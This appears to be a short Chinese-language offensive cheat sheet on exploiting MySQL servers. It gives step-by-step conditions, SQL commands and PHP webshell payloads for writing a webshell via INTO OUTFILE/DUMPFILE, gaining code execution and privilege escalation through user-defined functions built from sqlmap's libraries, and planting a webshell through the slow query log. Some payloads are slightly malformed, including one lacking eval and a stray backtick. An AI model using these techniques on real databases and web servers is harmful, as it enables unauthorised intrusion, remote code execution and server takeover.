MySQL的几种利用方式
2025年3月5日大约 1 分钟
MySQL的几种利用方式
写 webshell
利用 SQL 语法中的 into outfile
或者 into dumpfile
写文件的特性来写入 webshell。
利用条件
- 网站绝对路径
- MySQL DBA 权限
- secure_file_priv 为 "" 而不是 NULL(5.6.34版本以后默认为 NULL)
利用过程
查询 secure_file_priv
变量:
SELECT @@secure_file_priv;
# 或者
show global variables like '%secure_file_priv%';
利用 into outfile
或者 into dumpfile
:
# php
SELECT '<?php $_POST[cmd];?>' into outfile '<shell路径>'
SELECT '<?php $_POST[cmd];?>' into dumpfile` '<shell路径>'
UDF RCE(提权)
利用 MySQL 中的用户自定义函数功能来 RCE(提权)。
利用条件
- secure_file_priv 为 "" 而不是 NULL(5.6.34版本以后默认为 NULL)
利用过程
部分内容可以一键复制:
https://www.sqlsec.com/tools/udf.html
查看 plugin 目录路径:
SELECT @@plugin_dir;
# 或者
show variables like '%plugin%';
找到 sqlmap
下 data/udf/mysql
的 dll 或者 so 文件,并使用 extra/cloak/cloak.py
进行解码:
python cloak.py -d -i <udf.dll/udf.so>
执行 SQL 写入文件:
SELECT 0x00... INTO DUMPFILE '<so或者dll路径>';
慢日志写 webshell
利用 MySQL 记录慢日志的特性来写入 webshell。
利用条件
- 堆叠注入或者 SQL 权限
- 网站绝对路径
利用过程
查看慢日志信息:
show variables like '%slow_query_log%';
启用慢日志查询:
set global slow_query_log=1;
修改日志文件存储路径:
set global slow_query_log_file='<shell路径>';
执行睡眠 SQL 语句写入 shell:
select '<?php @eval($_POST[cmd]);?>' or sleep(10);